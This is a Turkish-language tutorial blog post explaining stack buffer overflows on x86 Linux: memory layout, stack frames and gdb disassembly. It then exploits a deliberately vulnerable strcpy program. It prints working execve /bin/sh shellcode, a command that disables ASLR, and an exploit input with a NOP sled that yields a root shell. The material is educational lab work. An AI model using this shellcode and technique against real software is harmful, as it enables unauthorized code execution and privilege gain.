26 Mayıs 2017 Cuma

- -[ Bufferoverflow Nedir ? ] - -

Buffer nedir ?
~~~~~~~~~~~~~~~~~
Işletim sistemleri hard disk üzerinde bulunan bir dosya üzerinde işlem yaparken bunu direk hard disk üzerindeki dosyaya yansıtmaz.örneğin dosyaya yazma işlemi gerçekleştirilirken direk olarak dosyanın kendisine yazmaz bunun yerine o dosya için bufferlama yapar. o dosya için memory(ram) de buffer alanı(bir veri bloğu) yaratılır ve burası dolduğunda veya istenildiğinde işletim sistemi tarafından hard disk üzerindeki dosyaya yazılır.bufferlama ile işletim sistemi hız kazanmayı hedefler bunun nedeni işlemcinin rame erişim süresi hard diske erişim süresinden çok daha hızlıdır.neden işlemcinin hard diske erişim süresinin daha yavaş olduğunu bilmek isterseniz şu anahtar kelimeler ile yola çıkabilirsiniz.

Anahtar kelimeler ; matematik,elektrik fiziği,kalıcı mıknatıslama,manyetizma



Buffer kelimesinin bilgisayardaki karşılığını anlamış bulunuyoruz.artık buffer gibi bir kelimeyi duyduğumuzda anlamamız gereken bir data bloğundan bahsettiğimizdir.

Process Nedir ?
~~~~~~~~~~~~~~
Processler bir dosyanın çalışan örneğidir.hard disk üzerindeki dosyanın çalışan halidir.
Prosesin memory görünümünü şu şekilde düşünebiliriz.

                                       ~~~~~~~~~~~~~~~~~~~~  -----------> en yüksek adres
aşağıya doğru artar     --->      |             stack                    |         
                                       ~~~~~~~~~~~~~~~~~~~~
                                       |                                        |
                                        ~~~~~~~~~~~~~~~~~~~~~
 yukarıya doğru artar  --->      |             heap                      |        
                                           ~~~~~~~~~~~~~~~~~~~~~
                                       |              bss                       |
                                            ~~~~~~~~~~~~~~~~~~~~~
                                           |              data                       |
                                            ~~~~~~~~~~~~~~~~~~~~~
                                           |              text                       |
                                            ~~~~~~~~~~~~~~~~~~~~~  ----------> en düşük adres       


Text field,uygulamanın kodlarının tutulduğu kısımdır.
Heap ,programcı tarafından dinamik olarak kullanılabilen kısımdır.
Stack ,local değişkenlerin(fonksiyon içerisindeki) tutulduğu,fonksiyon parametrelerinin geçirildiği kısımdır.


Stack Nedir ?
~~~~~~~~~~~~~
Bir processin stack alanı framelerden oluşmaktadır ve bu frame içerisinde fonksiyonlar için local değişkenler,fonksiyonlara geçirilen parametreler,geriye dönüş adresi,stack frame için old base pointer bilgileri tutulur.

Base pointerın kendisi frame pointer olarak da adlandırılır ve bir stack frame şu şekildedir.



Stack LIFO şeklinde çalışmaktadır.lifo, last in first out demektir ve türkçeleştirildiğinde Son giren ilk çıkar anlamına gelmektedir.ESP registerı stack alanının top kısmını göstermektedir .

                                                   Temsili stack  

                    { \\\\ }    ----> ESP / stack top adres
                                                       { \\\\ }
                                                       { \\\\ }
                                                       { \\\\ }
                                                       { \\\\ }

her push operasyonunda stack alanına ilgili değer itilir ve esp registerının tuttuğu adres azaltılır.Her pop operasyonunda stack alanından  bir değer çekilir ve esp registerının içeriği arttırılır.

Uygulama_1
~~~~~~~~~~~~~~~~
Buraya kadar anlatılanları basit bir c programı içerisinde inceleyelim.uygulamayı gnu debugger altında inceleyeceğiz.

uygulamaya ait kod ise şu şekilde ;

int func(int a,int b,int c){

int *ret;
ret=&ret+2;
*ret=(*ret)+23;
return a+b+c;
}

int main(int argc,char **argv){
int a;
a=func(0x12,0x13,0x14);
printf("a === %x\n",a);

}

main fonksiyonunda func fonksiyonunu çağırılışı ;

0x565555f2 <+29>: push 0x14
0x565555f4 <+31>: push 0x13
0x565555f6 <+33>: push 0x12
0x565555f8 <+35>: call 0x565555a0 <func>


Yukarıdaki 4 instructionı ve stackin durumunu inceleyelim.

=> 0x565555f2 <main+29>: push 0x14
0x565555f4 <main+31>: push 0x13
0x565555f6 <main+33>: push 0x12
0x565555f8 <main+35>: call 0x565555a0 <func>

ilk instruction henüz çalışmadı ve stack içerisinde şu an için birşey yok(stack içerisindeki diğer bilgileri göz ardı ediyoruz).

0x565555f2 <main+29>: push 0x14
0x565555f4 <main+31>: push 0x13
0x565555f6 <main+33>: push 0x12
=> 0x565555f8 <main+35>: call 0x565555a0 <func>

Push instructionları işlendikten sonra stackin durumu aşağıdaki gibidir.

ESP ---->0xffffd354 --> 0x12 
                0xffffd358 --> 0x13
                0xffffd35c --> 0x14

Call instructionı işlendikten sonra stackin durumu aşağıdaki gibidir.

0000| 0xffffd350 --> 0x565555fd (<main+40>: add esp,0xc)
0004| 0xffffd354 --> 0x12
0008| 0xffffd358 --> 0x13
0012| 0xffffd35c --> 0x14

şu an stackdeki ilk değer 0x565555fd adresidir.bu adres call instructiondan sonraki instructionın adresidir ve func fonksiyonu için geriye dönüş adresidir.func fonksiyonundan main fonksiyonuna dönülürken nereye dönüleceğini bu return adresi belirtir.

Şimdide func fonksiyonunu gnu debugger altında inceleyelim.


=>0x565555a0 <+0>: push ebp
0x565555a1 <+1>: mov ebp,esp
0x565555a3 <+3>: sub esp,0x10
0x565555a6 <+6>: call 0x56555627 <__x86.get_pc_thunk.ax>
0x565555ab <+11>: add eax,0x1a55
0x565555b0 <+16>: lea eax,[ebp-0x4]
0x565555b3 <+19>: add eax,0x8
0x565555b6 <+22>: mov DWORD PTR [ebp-0x4],eax
0x565555b9 <+25>: mov eax,DWORD PTR [ebp-0x4]
0x565555bc <+28>: mov edx,DWORD PTR [ebp-0x4]
0x565555bf <+31>: mov edx,DWORD PTR [edx]
0x565555c1 <+33>: add edx,0x17
0x565555c4 <+36>: mov DWORD PTR [eax],edx
0x565555c6 <+38>: mov edx,DWORD PTR [ebp+0x8]
0x565555c9 <+41>: mov eax,DWORD PTR [ebp+0xc]
0x565555cc <+44>: add edx,eax
0x565555ce <+46>: mov eax,DWORD PTR [ebp+0x10]
0x565555d1 <+49>: add eax,edx
0x565555d3 <+51>: leave
0x565555d4 <+52>: ret


=>0x565555a0 <+0>: push ebp
0x565555a1 <+1>: mov ebp,esp
0x565555a3 <+3>: sub esp,0x10

push ebp
mov ebp,esp

bu iki instruction prologue olarak bilinmektedir ve bu iki instruction ile yeni bir stack frame yaratılır.

sub esp,0x10 instructionı ile stack de local değişkenler için yer ayrılır. Burada yalnızca int *ret local değişkeni 4 bytelık alan işgal etmesine rağmen neden 16 baytlık bir alana ihtiyaç duyuluyor diye düşünebilirsiniz. Gnu compiler default olarak x86 mimari için stackde 16 baytlık hizalama yapıyor.func fonksiyonu içerisine char buffer[12] bufferını tanımlayıp tekrar derleyin ve inceleyin ardından aynı bufferın boyutunu bu sefer 13 bayt(char buffer[13]) olacak şekilde değiştirin ve derleyip tekrar inceleyin.


0x565555a6 <+6>: call 0x56555627 <__x86.get_pc_thunk.ax>
0x565555ab <+11>: add eax,0x1a55

 call instructionı __x86.get_pc_thunk.ax çağrısını gerçekleştirmekle call instructiondan sonraki adresin değerini eax içerisine yüklemektedir.ardından bu eax değeri ile 0x1a55 değeri toplanmaktadır.bunun yapılmasının nedeni GOT tablosunun base adresini elde etmektir..konuyla direk alakası olmadığından detayına girmiyoruz.

0x565555b0 <+16>: lea eax,[ebp-0x4]
0x565555b3 <+19>: add eax,0x8

lea instructionı ebp-0x4 değeri neye karşılık geliyorsa bunu direk olarak eax içerisine yükler.dikkat edin [ebp-0x4] içeriği değil direk olarak ebp-0x4 kendisi neye karşılık geliyorsa bunu eax içerisine yüklemektedir.ardından 0x8 değeri ile toplanmaktadır.neden 0x8 diye düşünüyorsanız func fonksiyonu içerisindeki şu kodları hatırlamamız gerekir.

int *ret;
ret=&ret+2;

int *ret stack adresi ----> [ebp-0x4]
ret=&ret+2; ----> integer bir pointerı 2 ile toplamak adres değerini 8 arttırmayı gerektirir çünkü integer değerler 4 baytlık bir alan kaplamaktadır.


Stackin func fonksiyonundayken ki durumu şu şekildedir.

0 | ret değişkenimiz
4 | eski ebp
8 | return adresi maine dönülecek


şu anki stack durumunu göz önünde bulundurduğumuzda ret değişkenimiz ile return adresini değiştirdiğimizin farkına varmışsınızdır.uygulamayı çalıştırdığımızda segmentation fault alıcağız.Bunun nedeni func fonksiyonunun local değişkeni ret ile geriye dönüş adresinin adresi elde edildikten sonra buranın içeriğinin bozulmasıdır.

Retun adresinin değiştirilmesi ile amaçlanan ise programın kontrolünün ele geçirilmesi, programın akışının bozulması ve istenilen bir başka kodu tetikletmek.

Uygulama 2
~~~~~~~~~~~~~
Bir işi anlamanın en iyi yolu onun en basit halini ele almaktır. Bu yüzden basit bir uygulama ile olayı anlamaya çalışalım.

void move(char *src)
{
char buffer[10];
strcpy(buffer,src);
}

int main(int argc,char **argv){

move(argv[1]);
printf("end of main\n");

}

uygulama dışarıdan aldığı girdi ile buffer değişkenini doldurmaktadır. Fakat uygulama dışarıdan alınan girdiyi kontrol etmemektedir. Uygulamadaki buffer local değişkeni taşırılabilir ve stack alanındaki diğer bilgiler bu taşma sayesinde ezilebilir.

Burada değinmek istediğim bir nokta daha var. çalışan bir uygulamayı istediğimiz noktaya yönlendirsek dahi bu noktaya kendimiz nasıl bir kod enjekte edeceğiz ? Bunun cevabı kodu makina dilinde yazdıktan sonra uygulamaya enjekte etmek. Enjekte edilicek makine dilindeki bu kodun kendisine shellcode denilmektedir.

bufferoverlow bugının shellcode enjekte edilerek sömürülmesi:
____________________
|                                  |
|         shellcode           | < <
|                                  |       ^
|___________________ |       ^
|                                  |       ^
|                                  |       ^
|         Program             | > > ^
|                                  |
|___________________ |  


Görüldüğü gibi kodun akışı değiştirilerek enjekte edilmiş kodun kendisine yönlendirilmiştir. Bunun pratiğini yapmak için uygulamayı derleyelim. Fakat derlerken -fno-stack-protector -z exectack parametreleri ile derleyelim. Bunun nedeni işletim sistemleri bir uygulamayı belleğe sayfalar halinde yerleştirmektedir. Örneğin bu sayfa boyutu 4K ise bu durumda işletim sistemi bu programı 4K şeklinde belleğe yükleyecektir ve her bir sayfanın ise hakları vardır. Bu Haklar sayfanın yazılabir,okunabilir,icra edilebilir olması gibi haklardır. STACK içerisindeki tüm sayfalar default olarak Non-Executable yani bu sayfalarda kod çalıştırılamaztır.Biz uygulama üzerinde pratik yapacağımızdan stack alanının executable yani çalıştırılabilir olmasını istiyoruz.


O zaman neden bufferoverflow bir bug olsun ki gibi düşünüyorsanız ROP gibi yöntemler ile Non-Executable olan programlarda sömürülmektedir.peki ROP tam olarak nedir ? diye soruyorsanız bu ayrı bir yazı başlığı olduğundan detaylarına girilmeyecektir. bu yazı bufferoverflowun ne demek olduğunu tüm diğer konulardan bağımsız olarak anlatmayı amaçlamaktadır.


Şimdi 2.uygulamadaki bufferoverflow bugını sömürelim. Bunun için ilk yapmamız gereken şey shellcode hazırlamak. Yazıcağımız shellcode x86 mimariye ait olacaktır ve yapacağı iş ise uygulama içerisinde bize shell açması olacaktır.

Shellcode veya makine dilinde kodun yazılması için öncelikle hazırlayacağınız kodun x86 assemblyde nasıl yazılacağıdır.Ardından bu assembly kodlarının opcode karşılıklarını elde edeceğiz. X86 assembly kodunun shellcode koduna dönüşümünü okuyucuya bırakıyorum. Neden ? Diye soracak olursanız bunu anlamanız gerçekten yararınıza olacaktır. Bunları ben bir çok kere yaptığımdan direk peda(gnu debugger eklentisi) tarafından hazır halini aldım. : )

Peda ile generate edilmiş bir shellcode.

# x86/linux/exec: 24 bytes
shellcode = (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
"\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)


ASLR-Address Space Layout Randomization
~~~~~~~~~~~
stack adres aralığının değiştirilmesidir. Bufferoverflow gibi buglara karşı alınmış bir önlemdir. Saldırganın stack üzerindeki sabit bir adres veya öngördüğü bir adres ile çalışmasını önler. Bizim örneğimizi ele alacak olursak enjekte edeceğimiz shell kodun adresi proses her çalıştırıldığında değişecektir.

Daha önce belirttiğimiz gibi bu yazının daha kolay anlaşılabilir olması için diğer konulardan bağımsız olarak anlatılacaktır..Bu yüzden ASLR koruması devre dışı bırakıldığı göz önünde bulundurularak anlatıma devam edilecektir..


ASLR yi devre dışı bırakmak için ;

echo 0 > /proc/sys/kernel/randomize_va_space


uygulamayı şu şekilde çalıştırırsanız segmentation fault hatasını alırsınız.

root@kali:~/Desktop# ./example $(python -c 'print "A"*52')
Segmentation fault


bunun nedeni strcpy '/0' null karakterini bulana kadar gelen veriyi buffer içerisine doldurmakta ve bu durumda buffer 10 baytlık alanının dışına taşmaktadır. Ezilen diğer alanlardan biri de return adresinin tutulduğu alandır. Biz bufferı taşırarak return adres değerini ezmiş oluyoruz.
strcpy bufferı doldurmadan önce :

[ buffer ]------------[return_address]

strcpy bufferı doldurduktan sonra :

[AAAAAAAAAA]....AA.......[AAAA]

o halde inputumuzu şu formata sokalım.

[ Shellcode ] ................ [ yeni return adresi ]


peki yeni return adresimiz ? Yeni return adresimizi shellcode neredeyse onu göstermeli Işte şu şekilde

← ← ← ← ← ← ← ← ← ← ← ← ← ← ←
↓                                                            ↑
[ Shellcode ] ................ [ shellcode_adresi]



peki shellcode adresini nasıl bilebiliriz ? Işi biraz daha kolaylaştırmak için shell kodumuzu linux komut satırının çevre değişkenlerine ekleyeceğiz.Komut satırının altında çalışan programlar onun child prosesi olur ve çevre değişkenlerinin tamamı child prosese yerleştirilir ve çevre değişkenler komut satırı altında çalıştırılan programların stack alanına yerleştirilir.


root@kali:~/Desktop# export shellcode=$(python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"')

shellcode önüne 30 adet nop instructionı ekledik.buradaki 0x90 hexadecimal değeri nop instructionın opcode karşılığıdır.

Peki neden ekledik ? Biraz aşağılarda bu durumdan bahsedicem fakat neden başına eklediğimiz sorusunu soruyorsanız. Bunun nedeni, x86 mimarinin little endian şeklinde çalışması ve bunu bilen işletim sistemimiz çevre değişkenimizi ters çevirip düz bir şekilde çevre değişkenlere eklemesidir.

Litttle endian nedir ? Sorusunu ise kısaca google üzerinde araştırma yaparak bulabilirsiniz.


shellcode environment variablenın adresini nasıl bulabiliriz ? Basit bir C kodu yazarak bunu halledebiliriz. Fakat istersek Gnu debugger altında dosyayı inceleyerek programın envrionmet variableların adresini öğrenebilirsiniz.

Komut satırında env yazarak tüm çevre değişkenleri görebilirsiniz. Buradan shellcode çevre değişkeninin index numarasını bulunuz ve daha sonra programı gnu debugger içerisinde incelemek için programı gnu debuggera load edin. Bunun en basit yolu main fonksiyonuna bir break koymak ve run etmek.

Bundan sonra yapmanız gereken tek şey gnu debugger altında şu komutu çalıştırmak "x/s *((char **)environ+14). Buradaki 14 shellcode çevre değişkeninin index numarasıdır.sizde farklı olması muhtemeldir.


gdb-peda$ x/s *((char **)environ+14)
0xffffdc23: "shellcode=", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061ɉ\312j\vX̀"

0xffffdc23 adresi "shellcode=" stringi ile başlamakta ve bu string 10 karakter içerdiğinden shellcode çevre değişkenin sakladığı değer ise 0xffffdc23 adresinden 10 bayt ötedeki 0xffffdc2d adresinde tutulmaktadır.

gdb-peda$ x/xw 0xffffdc23+10
0xffffdc2d: 0x90909090

O halde yapmamız gereken tek şey return adresini doğru bir şekilde ezmek, ama bundan da önce girdimizin neresinde return adresimiz eziliyor bunu bilmemiz gerekmektedir.

Bunun için programa rastgele bir input vererek inputumuzun neresinde return adresini ezildiğini bilebiliriz. Aslında herşey belli değil mi ? diye düşünebilirsiniz fakat fonksiyonların girişlerinde stack pointer ile oynandığından dikkatli bir şekilde incelemeli ve hesaplamaları buna göre yapmalıyız.

Bununla uğraşmak yerine bir patern üreterek bunu programa sunarız ve gnu debugger altında inceleyip, Instruction pointerın yanlış return adrese setlendiğini görürürz ve ardından inputumuzun ilgili yerine kendi shellcode adresimizi yerleştiririz.ilkine göre daha basit kalmakta o yüzden bu yöntemi tercih ediyoruz.ilkini okuyucunun denemesini hatta eline kağıt kalem alarak stack alanını çizmesini ve hesaplamalarını buna göre yapmasını tavsiye ediyorum.


giriş olarak kullanılan string = AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAa

gnu debugger altında bu stringi vererek programı incelendiğinde alınan hata şu şekildedir.

Invalid $PC address: 0x41284141('AA(A')

Program Counter veya diğer ismiyle EIP (Extendent Instruction Pointer) "AA(A" değerine setlenmiş o halde giriş stringimizdeki AA(A değeri yerine shellcode adresimizi yazalım.

Yeni giriş stringimiz = AAA%AasAABAA$AAnAACAA-\x2d\xdc\xff\xffADAA;AA)AAEAAa

root@kali:~/Desktop# ./example $(python -c 'print "AAA%AasAABAA$AAnAACAA-\x2d\xdc\xff\xffADAA;AA)AAEAAa" ')
Segmentation fault

gördüğünüz gibi doğru adresi girmiş olmamıza rağmen segmentation fault aldık neden ? Öncelikle yukarılarda nop instructionını neden eklediğimizi belirteceğimi söylemiştim. Nop instructionları registerları etkilemeyen no operation anlamında bir emirdir. Bu instructionı shell kodumuzun başına ekleyerek shell kodumuzu şu hale getirdik.

-- [ nop ......nop.......nop shellcode ] --

gördüğünüz gibi tam olarak adresi gnu debugger altında hesaplamamıza rağmen o adresde shell kodumuzun bulunmamaktadır. Bunun nedeni stack adreslerinde bir kayma olmasıdır. gnu debugger altında çalıştırdığımız programın stack adresi ile direk olarak komut satırında çalıştırıdığımız programın stack adresleri bire bir aynı değildir.

Bu yüzden nop emirlerinin olmadığı bir shell kod için 0x31(shellcode için ilk emir) emirinin adresi tahmin etmek çok daha fazla deneme yanılma yapmamız gerektirecektir.
Bunu tahmin etmek zor olduğundan shellcode'un başına nop emirleri ekleyip adreside bu nop havuzuna dallandırmamız yeterli olacaktır.

shellcode civarındaki bir adresin elimizde olduğunu düşünürsek ; 

Ilk seferde nop emirlerden birini tahmin etme olasılığımız : 30/54
0x31 emri için ise bu olasılık : 1/54 iki olasılığı karşılaştırınca ilki daha iyi gibi duruyor.

root@kali:~/Desktop# ./example $(python -c 'print "AAA%AasAABAA$AAnAACAA-\x40\xdc\xff\xffADAA;AA)AAEAAa" ')
# id
uid=0(root) gid=0(root) groups=0(root)

görüldüğü gibi shell kodumuz çalıştı.


adresimizi 0xffffdc40 olarak değiştirdik fakat bunun ilk nop ya da 30.nop emirinin olması bizim için önemli değil. İster ilk nop ister 17.nop emri olsun bu nop emirlerinin icrasından sonra gerçek shell kodumuz çalışacaktır.sanırım şimdi neden nop emirlerini kullandığımızı daha iyi anladık.

Yazı içerisinde stack korumaları ve bufferoverflow için alınmış önlemlerden bahsedilmedi, ve yine bir çok default korumalar bilerek bypass edildi.

Bu koruma yöntemlerinin nasıl ve ne gibi yöntemlerle atladıldığından da bahsedilmedi.
Kısacası yazının amacı okura bufferoverflow ile aslında programın akışının değiştirilmesi veya programın kontrolünün saldırgan tarafından ele geçirildiğini anlatabilmekdi.

Umarım yazı faydalı olmuştur.



Referanslar :

EOF

Hiç yorum yok:

Yorum Gönder